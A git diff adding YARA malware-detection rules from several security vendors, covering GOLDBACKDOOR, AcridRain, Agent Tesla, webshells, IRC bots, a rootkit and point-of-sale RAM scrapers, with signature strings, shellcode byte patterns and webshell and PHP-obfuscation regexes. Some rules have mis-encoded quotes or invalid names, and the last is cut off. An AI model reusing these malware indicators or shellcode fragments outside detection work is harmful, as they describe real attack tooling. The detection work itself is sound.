+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_LNK_payload.yar
@@ -0,0 +1,12 @@
+rule NK_GOLDBACKDOOR_LNK_payload
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for obfuscated Powershell contained in LNK file that deploys GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$ = "WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]" ascii wide nocase
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_Main.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_Main.yar
new file mode 100644
index 0000000..234593b
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_Main.yar
@@ -0,0 +1,21 @@
+rule NK_GOLDBACKDOOR_Main
+{
+meta:
+author= "Silas Cutler"
+description = "Detection for Main component of GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$str1 = "could not exec bash command." wide
+$str2 = "%userprofile%\\AppData" wide
+$str3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.3112.113 Safari/537.36" wide
+$str4 = "tickount: %d"
+$str5 = "Service-0x" wide
+$str6 = "Main Returned"
+$b64_1 = "TwBuAGUARAByAHYAVQBwAGQAYQB0AGUAAAA="
+$b64_2 = "aGFnZW50dHJheQ=="
+$b64_3 = "YXBwbGljYXRpb24vdm5kLmdvb2dsZS1hcHBzLmZvbGRlcg=="
+$pdb = "D:\\Development\\GOLD-BACKDOOR\\"
+condition:
+4 of them or ( $pdb and 1 of them )
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_generic_shellcode.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_generic_shellcode.yar
new file mode 100644
index 0000000..376fe55
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_generic_shellcode.yar
@@ -0,0 +1,13 @@
+rule NK_GOLDBACKDOOR_generic_shellcode
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Generic detection for shellcode used to drop GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$ = { B9 8E 8A DD 8D 8B F0 E8 ?? ?? ?? ?? FF D0 }
+$ = { B9 8E AB 6F 40 [1-10] 50 [1-10] E8 ?? ?? ?? ?? FF D0 }
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_inital_shellcode.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_inital_shellcode.yar
new file mode 100644
index 0000000..32d2950
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_inital_shellcode.yar
@@ -0,0 +1,21 @@
+rule NK_GOLDBACKDOOR_inital_shellcode
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for initial shellcode loader used to deploy GOLDBACDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+//seg000:07600058 8D 85 70 FE FF FF lea eax, [ebp+var_190]
+//seg000:0760005E C7 45 C4 25 6C 6F 63 mov dword ptr [ebp+var_3C],'col%'
+//seg000:07600065 50 push eax
+//...
+//seg000:0760008F C7 45 D8 6F 6C 64 2E mov dword ptr [ebp+var_3C+14h], '.dlo'
+//seg000:07600096 C7 45 DC 74 78 74 00 mov dword ptr [ebp+var_3C+18h], 'txt'
+$ = { C7 45 C4 25 6C 6F 63 50 8D 45 C4 C7 45 C8 61 6C 61 70 8B F9 C7 45 CC 70 64 61 74 50 B9 BD 88 17 75 C7 45 D0 61 25 5C 6C 8B DA C7 45 D4 6F 67 5F 67 C7 45 D8 6F 6C 64 2E C7 45 DC 74 78 74 00 }
+// Import loaders
+$ = { 51 50 57 56 B9 E6 8E 85 35 E8 ?? ?? ?? ?? FF D0 }
+$ = { 6A 40 68 00 10 00 00 52 6A 00 FF 75 E0 B9 E3 18 90 72 E8 ?? ?? ?? ?? FF D0}
+condition:
+all of them
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_injected_shellcode.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_injected_shellcode.yar
new file mode 100644
index 0000000..50e5cd8
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_injected_shellcode.yar
@@ -0,0 +1,16 @@
+rule NK_GOLDBACKDOOR_injected_shellcode
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for injected shellcode that decodes GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$dec_routine = { 8A 19 57 8B FA 8B 51 01 83 C1 05 85 D2 74 0E 56 8B C1 8B F2 30 18 40 83 EE 01 75 F8 5E 57 }
+$rtlfillmemory_load = {B9 4B 17 CD 5B 55 56 33 ED 55 6A 10 50 E8 86 00 00 00 FF D0}
+$ = "StartModule"
+$log_file_name = {C7 44 24 3C 25 6C 6F 63 50 8D 44 24 40 C7 44 24 44 61 6C 61 70 50 B9 BD 88 17 75 C7 44 24 4C 70 64 61 74 C7 44 24 50 61 25 5C 6C C7 44 24 54 6F 67 5F 67 C7 44 24 58 6F 6C 64 32 C7 44 24 5C 2E 74 78 74}
+$ = { B9 8E 8A DD 8D 8B F0 E8 E9 FB FF FF FF D0 }
+condition:
+3 of them
+}
diff --git a/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_obf_payload.yar b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_obf_payload.yar
new file mode 100644
index 0000000..8573f26
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/NK_GOLDBACKDOOR_obf_payload.yar
@@ -0,0 +1,12 @@
+rule NK_GOLDBACKDOOR_obf_payload
+{
+meta:
+author= "Silas Cutler (silas@Stairwell.com)"
+description = "Detection for encoded shellcode payload downloaded by LNK file that drops GOLDBACKDOOR"
+reference = "https://stairwell.com/news/threat-research-the-ink-stained-trail-of-goldbackdoor/"
+version = "0.1"
+strings:
+$init = { e6b3 6d0a 6502 1e67 0aee e7e6 e66b eac2 }
+condition:
+$init at 0
+}
diff --git a/yara-mikesxrs/Stairwell/TTP_Mutation_StackPush_Windows_DLLs.yar b/yara-mikesxrs/Stairwell/TTP_Mutation_StackPush_Windows_DLLs.yar
new file mode 100644
index 0000000..0c9abb6
--- /dev/null
+++ b/yara-mikesxrs/Stairwell/TTP_Mutation_StackPush_Windows_DLLs.yar
@@ -0,0 +1,41 @@
+
+import "pe"
+rule TTP_Mutation_StackPush_Windows_DLLs {
+ meta:
+   author = "Stairwell"
+   description = "Searching for PE files with mutations of odd, rare, or interesting string equities. Here we look for strings from common PE strings, DLLs and functions in pseudo stack strings form, where the string pushed onto the stack 4 bytes at a time using PUSH 0x68, appearing in reverse four byte chunk order, where the PUSH which shows up as an ASCII letter h."
+   reference = "https://stairwell.com/news/threat-research-detection-research-labeled-malware-corpus-yara-testing/"
+ strings:
+   $a0_kernel32dll = "h.dllhel32hkern" ascii nocase
+   $a1_ws2_32dll = "hllh32.dhws2_" ascii nocase
+   $a2_msvcrtdll = "hllhrt.dhmsvc" ascii nocase
+   $a3_KernelBasedll = "hllhse.dhelBahKern" ascii nocase
+   $a4_advapi32dll = "h.dllhpi32hadva" ascii nocase
+   $a5_advapires32dll = "hdllhs32.hpirehadva" ascii nocase
+   $a6_gdi32dll = "hlh2.dlhgdi3" ascii nocase
+   $a7_gdiplusdll = "hdllhlus.hgdip" ascii nocase
+   $a8_win32ksys = "hysh2k.shwin3" ascii nocase
+   $a9_user32dll = "hllh32.dhuser" ascii nocase
+   $a10_comctl32dll = "h.dllhtl32hcomc" ascii nocase
+   $a11_commdlgdll = "hdllhdlg.hcomm" ascii nocase
+   $a12_comdlg32dll = "h.dllhlg32hcomd" ascii nocase
+   $a13_commctrldll = "h.dllhctrlhcomm" ascii nocase
+   $a14_shelldll = "hlhl.dlhshel" ascii nocase
+   $a15_shell32dll = "hdllhl32.hshel" ascii nocase
+   $a16_shlwapidll = "hdllhapi.hshlw" ascii nocase
+   $a17_netapi32dll = "h.dllhpi32hneta" ascii nocase
+   $a18_shdocvwdll = "hdllhcvw.hshdo" ascii nocase
+   $a19_mshtmldll = "hllhml.dhmsht" ascii nocase
+   $a20_urlmondll = "hllhon.dhurlm" ascii nocase
+   $a21_iphlpapidll = "h.dllhpapihiphl" ascii nocase
+   $a22_httpapidll = "hdllhapi.hhttp" ascii nocase
+   $a23_msvbvm60dll = "h.dllhvm60hmsvb" ascii nocase
+   $a24_shfolderdll = "h.dllhlderhshfo" ascii nocase
+   $a25_OLE32DLL = "hLh2.DLhOLE3" ascii nocase
+   $a26_wininetdll = "hdllhnet.hwini" ascii nocase
+   $a27_wsock32dll = "hdllhk32.hwsoc" ascii nocase
+ condition:
+   filesize < 15MB
+   and uint16be(0) == 0x4d5a
+   and 1 of them
+}
diff --git a/yara-mikesxrs/Storm Shield/AcidRain.yar b/yara-mikesxrs/Storm Shield/AcidRain.yar
new file mode 100644
index 0000000..3e58f8b
--- /dev/null
+++ b/yara-mikesxrs/Storm Shield/AcidRain.yar	
@@ -0,0 +1,35 @@
+rule AcridRain
+{
+    meta:
+        description = "Rule to detect AcridRain malware"
+        author = "Stormshield"
+        reference = "https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/"
+
+    strings:
+        $mz = { 4d 5a }
+        // old sample
+        $old_amigo = "_________________________________AMIGO_________________________________" ascii wide
+        $old_google_chrome = "_________________________________GOOGLE CHROME_________________________________" ascii wide
+        $old_vivaldi = "_________________________________Vivaldi_________________________________" ascii wide
+        $old_orbitum = "_________________________________Orbitum_________________________________" ascii wide
+        $old_epic = "_________________________________Epic Privacy Browser_________________________________" ascii wide
+        $old_cyberfox = "_________________________________Cyberfox_________________________________" ascii wide
+        // new sample
+        $new_epic_3 = "%s\\\\Epic Privacy Browser\\\\User Data\\\\Profile 3" ascii wide
+        $new_epic_2 = "%s\\\\Epic Privacy Browser\\\\User Data\\\\Profile 2" ascii wide
+        $new_epic_1 = "%s\\\\Epic Privacy Browser\\\\User Data\\\\Profile 1" ascii wide
+        $new_spotnik_CC = "Sputnik_CC.txt" ascii wide
+        $new_coccoc_cookies = "CocCoc_Cookies.txt" ascii wide
+        $new_rambler = "rambler.txt" ascii wide
+        //zip
+        $zip_32_zip = "32.zip" ascii wide
+        $zip_opana_zip = "opana.zip" ascii wide
+        $zip_libs_zip = "Libs.zip" ascii wide
+        //all
+        $all_templogik = "templogik" ascii wide
+        $all_templogim = "templogim" ascii wide
+        $all_templogin = "templogin" ascii wide
+
+    condition:
+        ($mz at 0) and (3 of ($old_*) or 3 of ($new_*)) and (2 of ($zip_*)) and (2 of ($all_*))
+}
diff --git a/yara-mikesxrs/Storm Shield/AgentTesla.yar b/yara-mikesxrs/Storm Shield/AgentTesla.yar
new file mode 100644
index 0000000..5187139
--- /dev/null
+++ b/yara-mikesxrs/Storm Shield/AgentTesla.yar	
@@ -0,0 +1,18 @@
+rule agent_tesla
+{
+    meta:
+        description = "Detecting HTML strings used by Agent Tesla malware"
+        author = "Stormshield"
+        version = "1.0"
+        reference = "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/"
+
+    strings:
+        $html_username    = "<br>UserName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
+        $html_pc_name     = "<br>PC&nbsp;Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: " wide ascii
+        $html_os_name     = "<br>OS&nbsp;Full&nbsp;Name&nbsp;&nbsp;: " wide ascii
+        $html_os_platform = "<br>OS&nbsp;Platform&nbsp;&nbsp;&nbsp;: " wide ascii
+        $html_clipboard   = "<br><span style=font-style:normal;text-decoration:none;text-transform:none;color:#FF0000;><strong>[clipboard]</strong></span>" wide ascii
+
+    condition:
+        3 of them
+}
diff --git a/yara-mikesxrs/Tenable/Generic_JSP_Webshell.yar b/yara-mikesxrs/Tenable/Generic_JSP_Webshell.yar
new file mode 100644
index 0000000..df5d796
--- /dev/null
+++ b/yara-mikesxrs/Tenable/Generic_JSP_Webshell.yar
@@ -0,0 +1,14 @@
+rule generic_jsp
+{
+    meta:
+        description = "Generic JSP"
+        family = "JSP Backdoor"
+        filetype = "JSP"
+        hash = "6517e4c8f19243298949711b48ae2eb0b6c764235534ab29603288bc5fa2e158"
+
+    strings:
+        $exec = /Runtime.getRuntime\(\).exec\(request.getParameter\(\"[a-zA-Z0-9]+\"\)\);/ ascii
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Tenable/Tenablebot.yar b/yara-mikesxrs/Tenable/Tenablebot.yar
new file mode 100644
index 0000000..ab2cf2a
--- /dev/null
+++ b/yara-mikesxrs/Tenable/Tenablebot.yar
@@ -0,0 +1,14 @@
+rule Tenablebot
+{
+	meta:
+		author = "tenable"
+		reference = "https://www.tenable.com/blog/threat-hunting-with-yara-and-nessus"
+	strings:
+		$channel = "#secret_tenable_bot_channel"
+		$version = "Tenable Bot version 0.1"
+		$version_command = "!version"
+		$exec_command = "!exec"
+		$user = "USER tenable_bot 8 * :doh!"
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Tenable/UPX_PACKED.yar b/yara-mikesxrs/Tenable/UPX_PACKED.yar
new file mode 100644
index 0000000..b580dd2
--- /dev/null
+++ b/yara-mikesxrs/Tenable/UPX_PACKED.yar
@@ -0,0 +1,8 @@
+import "pe"
+
+rule UPX_Packed
+{
+	condition:
+		pe.sections[0].name contains "UPX0" and
+		pe.sections[1].name contains "UPX1"
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Tenable/cerber3.yar b/yara-mikesxrs/Tenable/cerber3.yar
new file mode 100644
index 0000000..27f4607
--- /dev/null
+++ b/yara-mikesxrs/Tenable/cerber3.yar
@@ -0,0 +1,21 @@
+rule ammyy_cerber3 {
+	meta:
+		description = "Rule to detect Ammyy Admin / Cerber 3.0 Ransomware"
+		author = "Rich Walchuck"
+		source = "AA_v3.5.exe"
+		md5 = "54d07ec77e3daaf32b2ba400f34dd370"
+		sha1 = "3a99641ba00047e1be23dfae4fcf6242b8b8eb10"
+		sha256 = "99b84137b5b8b3c522414e332526785e506ed2dbe557eafc40a7bcf47b623d88"
+		date = "09/28/2016"
+	strings:
+		$s0 = "mailto:support@ammy.com" fullword ascii
+		$s1 = "@$&%04\\Uninstall.exe" fullword ascii
+		$s2 = "@$&%05\\encrypted.exe" fullword ascii
+		$s3 = "http://www.ammy.com/" fullword ascii
+		$s4 = "@$&%05\\AA_v3.exe" fullword ascii
+		$s5 = "ammy 1.00 - Smart Install Maker" fullword ascii
+		$s6 = "ammy 1.00 Installation" fullword wide
+		$s7 = "Ammy" fullword wide
+	condition:
+		all of them
+}
diff --git a/yara-mikesxrs/Tenable/elf_format.yar b/yara-mikesxrs/Tenable/elf_format.yar
new file mode 100644
index 0000000..5394057
--- /dev/null
+++ b/yara-mikesxrs/Tenable/elf_format.yar
@@ -0,0 +1,77 @@
+import "elf"
+
+rule single_load_rwe
+{
+    meta:
+        description = "Flags binaries with a single LOAD segment marked as RWE."
+        family = "Stager"
+        filetype = "ELF"
+        hash = "711a06265c71a7157ef1732c56e02a992e56e9d9383ca0f6d98cd96a30e37299"
+
+    condition:
+        elf.number_of_segments == 1 and
+        elf.segments[0].type == elf.PT_LOAD and
+        elf.segments[0].flags == elf.PF_R | elf.PF_W | elf.PF_X
+}
+
+rule fake_section_headers_conflicting_entry_point_address
+{
+    meta:
+        description = "A fake sections header has been added to the binary."
+        family = "Obfuscation"
+        filetype = "ELF"
+        hash = "a2301180df014f216d34cec8a6a6549638925ae21995779c2d7d2827256a8447"
+
+    condition:
+        elf.type == elf.ET_EXEC and
+        elf.entry_point < filesize and // file scanning only
+        elf.number_of_segments > 0 and
+        elf.number_of_sections > 0 and
+        not
+        (
+            for any i in (0..elf.number_of_segments):
+            (
+                (elf.segments[i].offset <= elf.entry_point) and
+                ((elf.segments[i].offset + elf.segments[i].file_size) >= elf.entry_point) and
+                for any j in (0..elf.number_of_sections):
+                (
+                    elf.sections[j].offset <= elf.entry_point and
+                    ((elf.sections[j].offset + elf.sections[j].size) >= elf.entry_point) and
+                    (elf.segments[i].virtual_address + (elf.entry_point - elf.segments[i].offset)) ==
+                    (elf.sections[j].address + (elf.entry_point - elf.sections[j].offset))
+                )
+            )
+        )
+}
+
+rule fake_dynamic_symbols
+{
+    meta:
+        description = "A fake dynamic symbol table has been added to the binary"
+        family = "Obfuscation"
+        filetype = "ELF"
+        hash = "51676ae7e151a0b906c3a8ad34f474cb5b65eaa3bf40bb09b00c624747bcb241"
+
+    condition:
+        elf.type == elf.ET_EXEC and
+        elf.entry_point < filesize and // file scanning only
+        elf.number_of_sections > 0 and
+        elf.dynamic_section_entries > 0 and
+        for any i in (0..elf.dynamic_section_entries):
+        (
+            elf.dynamic[i].type == elf.DT_SYMTAB and
+            not
+            (
+                for any j in (0..elf.number_of_sections):
+                (
+                    elf.sections[j].type == elf.SHT_DYNSYM and
+                    for any k in (0..elf.number_of_segments):
+                    (
+                        (elf.segments[k].virtual_address <= elf.dynamic[i].val) and
+                        ((elf.segments[k].virtual_address + elf.segments[k].file_size) >= elf.dynamic[i].val) and
+                        (elf.segments[k].offset + (elf.dynamic[i].val - elf.segments[k].virtual_address)) == elf.sections[j].offset
+                    )
+                )
+            )
+        )
+}
diff --git a/yara-mikesxrs/Tenable/fopo_webshell.yar b/yara-mikesxrs/Tenable/fopo_webshell.yar
new file mode 100644
index 0000000..b4bc819
--- /dev/null
+++ b/yara-mikesxrs/Tenable/fopo_webshell.yar
@@ -0,0 +1,16 @@
+rule fopo
+{
+    meta:
+        description = "Free Online PHP Obfuscator"
+        family = "PHP.Obfuscated"
+        filetype = "PHP"
+        hash = "b96a81b71d69a9bcb5a3f9f4edccb4a3c7373159d8eda874e053b23d361107f0"
+        hash = "bbe5577639233b5a83c4caebf807c553430cab230f9a15ec519670dd8be6a924"
+        hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
+
+    strings:
+        $base64_decode = /\$[a-zA-Z0-9]+=\"\\(142|x62)\\(141|x61)\\(163|x73)\\(145|x65)\\(66|x36)\\(64|x34)\\(137|x5f)\\(144|x64)\\(145|x65)\\(143|x63)\\(157|x6f)\\(144|x64)\\(145|x65)\";@eval\(/
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Tenable/kaiten.yar b/yara-mikesxrs/Tenable/kaiten.yar
new file mode 100644
index 0000000..5749ab4
--- /dev/null
+++ b/yara-mikesxrs/Tenable/kaiten.yar
@@ -0,0 +1,23 @@
+import "elf"
+
+rule Kaiten
+{
+    meta:
+        description = "Linux IRC DDoS Malware"
+        family = "Linux.Backdoor.Kaiten"
+        filetype = "ELF"
+        hash = "6b5386d96b90a4cb811c5ddd6f35f6b0d4c65c69c8160216077e7a0f43a8888d"
+        hash = "965a9594ef80e7134e1a9e5a4cce0a3dce98636107d1f6410224386dfccb9d5b"
+        hash = "2c772242de272bff1bb940b0687445739ec544aceec1bc5591a374a57cd652b5"
+
+    strings:
+        $irc = /(PING)|(PONG)|(NOTICE)|(PRIVMSG)/
+        $kill = "Killing pid %d" nocase
+        $subnet = "What kind of subnet address is that" nocase
+        $version = /(Helel mod)|(Kaiten wa goraku)/
+        $flood = "UDP <target> <port> <secs>" nocase
+
+    condition:
+        elf.type == elf.ET_EXEC and $irc and
+        2 of ($kill, $subnet, $version, $flood)
+}
diff --git a/yara-mikesxrs/Tenable/obfuscated_php.yar b/yara-mikesxrs/Tenable/obfuscated_php.yar
new file mode 100644
index 0000000..aaed60b
--- /dev/null
+++ b/yara-mikesxrs/Tenable/obfuscated_php.yar
@@ -0,0 +1,49 @@
+rule eval_statement
+{
+    meta:
+        description = "Obfuscated PHP eval statements"
+        family = "PHP.Obfuscated"
+        filetype = "PHP"
+        hash = "9da32d35a28d2f8481a4e3263e2f0bb3836b6aebeacf53cd37f2fe24a769ff52"
+        hash = "8c1115d866f9f645788f3689dff9a5bacfbee1df51058b4161819c750cf7c4a1"
+        hash = "14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361"
+
+    strings:
+        $obf = /eval[\( \t]+((base64_decode[\( \t]+)|(str_rot13[\( \t]+)|(gzinflate[\( \t]+)|(gzuncompress[\( \t]+)|(strrev[\( \t]+)|(gzdecode[\( \t]+))+/
+
+    condition:
+        all of them
+}
+
+rule hardcoded_urldecode
+{
+    meta:
+        description = "PHP with hard coded urldecode call"
+        family = "PHP.Obfuscated"
+        filetype = "PHP"
+        hash = "79b22d7dbf49d8cfdc564936c8a6a1e2"
+        hash = "38dc8383da0859dca82cf0c943dbf16d"
+
+    strings:
+        $obf = /urldecode[\t ]*\([\t ]*'(%[0-9a-fA-F][0-9a-fA-F])+'[\t ]*\)/
+
+    condition:
+        all of them
+}
+
+rule chr_obfuscation
+{
+    meta:
+        description = "PHP with string building using hard coded values in chr()"
+        family = "PHP.Obfuscated"
+        filetype = "PHP"
+        hash = "d771409e152d0fabae45ea192076d45e"
+        hash = "543624bec87272974384c8ab77f2357a"
+        hash = "cf2ab009cbd2576a806bfefb74906fdf"
+
+    strings:
+        $obf = /\$[^=]+=[\t ]*(chr\([0-9]+\)\.?){2,}/
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Tenable/pbot.yar b/yara-mikesxrs/Tenable/pbot.yar
new file mode 100644
index 0000000..d14cea3
--- /dev/null
+++ b/yara-mikesxrs/Tenable/pbot.yar
@@ -0,0 +1,19 @@
+rule pbot
+{
+    meta:
+        description = "PHP IRC Bot"
+        family = "Backdoor.PHP.Pbot"
+        filetype = "PHP"
+        hash = "cd62b4c32f0327d06dd99648e44c85560416a40f6734429d3e89a4c5250fd28e"
+        hash = "80fb661aac9fcfbb5ae356c5adc7d403bf15da9432b5e33fbbed938c42fdde3c"
+        hash = "6873bcc7f3971c42564a5fb72d5963b1660c6ff53409e496695523c1115e9734"
+
+    strings:
+        $class = "class pBot" ascii
+        $start = "function start(" ascii
+        $ping = "PING" ascii
+        $pong = "PONG" ascii
+
+    condition:
+        all of them
+}
diff --git a/yara-mikesxrs/Tenable/venom.yar b/yara-mikesxrs/Tenable/venom.yar
new file mode 100644
index 0000000..f899e44
--- /dev/null
+++ b/yara-mikesxrs/Tenable/venom.yar
@@ -0,0 +1,20 @@
+rule venom
+{
+    meta:
+        description = "Venom Linux Rootkit"
+        author = "Rich Walchuck"
+        source = "https://security.web.cern.ch/security/venom.shtml"
+        hash = "a5f4fc353794658a5ca2471686980569"
+        date = "2017-01-31"
+
+    strings:
+        $string0 = "%%VENOM%OK%OK%%"
+        $string1 = "%%VENOM%WIN%WN%%"
+        $string2 = "%%VENOM%CTRL%MODE%%"
+        $string3 = "%%VENOM%AUTHENTICATE%%"
+        $string4 = "venom by mouzone"
+        $string5 = "justCANTbeSTOPPED"
+
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/ThreatStreamLabs/PyInstaller_Binary.yar b/yara-mikesxrs/ThreatStreamLabs/PyInstaller_Binary.yar
new file mode 100644
index 0000000..49d9b45
--- /dev/null
+++ b/yara-mikesxrs/ThreatStreamLabs/PyInstaller_Binary.yar
@@ -0,0 +1,17 @@
+rule PyInstaller_Binary
+{
+meta:
+	author = "ThreatStream Labs"
+	desc = "Generic rule to identify PyInstaller Compiled Binaries�
+strings:
+	$string0 = "zout00-PYZ.pyz"
+	$string1 = "python"
+	$string2 = "Python DLL"
+	$string3 = "Py_OptimizeFlag"
+	$string4 = "pyi_carchive"
+	$string5 = ".manifest"
+	$magic = { 00 4d 45 49 0c 0b 0a 0b 0e 00 }
+	
+condition: 
+	all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/FighterPOS.yar b/yara-mikesxrs/Trend Micro/FighterPOS.yar
new file mode 100644
index 0000000..0a504b8
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/FighterPOS.yar	
@@ -0,0 +1,92 @@
+rule PoS_Malware_ActiveComponent : FighterPOS
+{
+meta:
+  description = "RAM scrapper component used by FighterPOS"
+  author = "Trend Micro, Inc"
+  reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+strings:
+  $pdb = /:\\users\\tom\\.{20,200}scan\.pdb/ nocase
+condition:
+  $pdb
+}
+
+rule PoS_Malware_MainBinary : FighterPOS
+{
+meta:
+  description = "Main FighterPOS infector, with ActiveComponent asresource"
+  author = "Trend Micro, Inc"
+   reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+strings:
+  $string1 = "BrFighter"
+  $string2 = "bot/dumper.php?id="
+  $string3 = "bot/keylogger.php?id="
+  $string4 = "\\Users\\avanni\\"
+condition:
+  (any of ($string*)) and PoS_Malware_ActiveComponent
+}
+
+rule PoS_Malware_MainBinary1 : FighterPOS
+{
+meta:
+   description = "Main FighterPOS infector, without ActiveComponent as resource"
+  author = "Trend Micro, Inc"
+  reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+strings:
+  $string1 = "BrFighter"
+   $string2 = "bot/dumper.php?id="
+  $string3 = "bot/keylogger.php?id="
+  $string4 = "\\Users\\avanni\\"
+condition:
+  (any of ($string*)) and not PoS_Malware_ActiveComponent
+}
+
+rule PoS_Malware_FlokiIntruder : FighterPOS
+{
+meta:
+  description = "Main FighterPOS infector, with ActiveComponent as resource. FlokiIntruder release."
+  author = "Trend Micro, Inc"
+  reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+
+strings:
+  $string1 = "FlokiIntruder"
+  $string2 = "bot/dumper.php" wide
+  $string3 = "bot/key.php" wide
+  $users1 = "\\Users\\UserPC\\" wide
+  $users2 = "\\Users\\root\\" wide
+condition:
+  (all of ($string*)) and (any of ($users*)) and PoS_Malware_ActiveComponent
+}
+
+rule PoS_Malware_ TSPY_POSFIGHT.F: FighterPOS
+{
+meta:
+  author = "Trend Micro, Inc"
+  description = "FighterPOS modification, using TSPY_POSFIGHT.B OR TSPY_POSLOGR.SMY for scraping"
+  reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+strings:
+  $string0 = "Software\\Borland\\Locales"
+  $string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+  $string2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
+  $string3 = "JavaWT"
+  $string4 = "%s.Seek not implemented$Operation not allowed on sorted list" wide
+  $string5 = "Toolhelp32ReadProcessMemory"
+  $string6 = "VBWYT-BBWKV-P86YX-G642C-3C3D3"
+  $string7 = "svchost.exe"
+condition:
+  all of them
+}
+
+rule PoS_Malware_EMVDataRecorder : FighterPOS
+{
+meta:
+  description = "MSR 2006 EMV recorder by FighterPOS actor"
+  author = "Trend Micro, Inc"
+  reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/files/2016/02/fighterpos-gets-worm-routine-appendix.pdf"
+strings:
+  $a = "send_apdu -sc 0" wide
+  $ = "C:\\GPShell\\data.dat" wide nocase
+  $ = "MSVBVM60.DLL" ascii
+  $ = "MSR 2006"
+condition:
+  #a > 10 and all of them
+}
diff --git a/yara-mikesxrs/Trend Micro/PoS_Malware_MalumPOS.yar b/yara-mikesxrs/Trend Micro/PoS_Malware_MalumPOS.yar
new file mode 100644
index 0000000..47a5f2d
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/PoS_Malware_MalumPOS.yar	
@@ -0,0 +1,17 @@
+rule PoS_Malware_MalumPOS : MalumPOS
+{
+	meta:
+		author = "Trend Micro, Inc."
+		date = "2015-05-25"
+		description = "Used to detect MalumPOS memory dumper"
+		reference = "http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf"
+		sample_filetype = "exe"
+	strings:
+		$string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+		$string2 = "B)[0-9]{13,19}\\"
+		$string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
+		$string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
+		$string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/ nocase
+	condition:
+		all of ($string*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Trend Micro/PoS_Malware_NewPOSThings2015.yar b/yara-mikesxrs/Trend Micro/PoS_Malware_NewPOSThings2015.yar
new file mode 100644
index 0000000..2c6feac
--- /dev/null
+++ b/yara-mikesxrs/Trend Micro/PoS_Malware_NewPOSThings2015.yar	
@@ -0,0 +1,23 @@
+rule PoS_Malware_NewPOSThings2015 : newposthings2015
+{
+meta:
+author = “Trend Micro, Inc.�
+date = “2015-03-10�
+description = “Used to detect NewPoSThings RAM scraper, including 2015 sample set�
+strings:
+$pdb1 = “C:\\Users\\Tom\\documents\\visual studio 2012\\Projects\\NewPosThings\\Release\\NewPosThings.pdb� nocase
+$pdb2 = “C:\\Final32\\Release\\Final.pdb� nocase
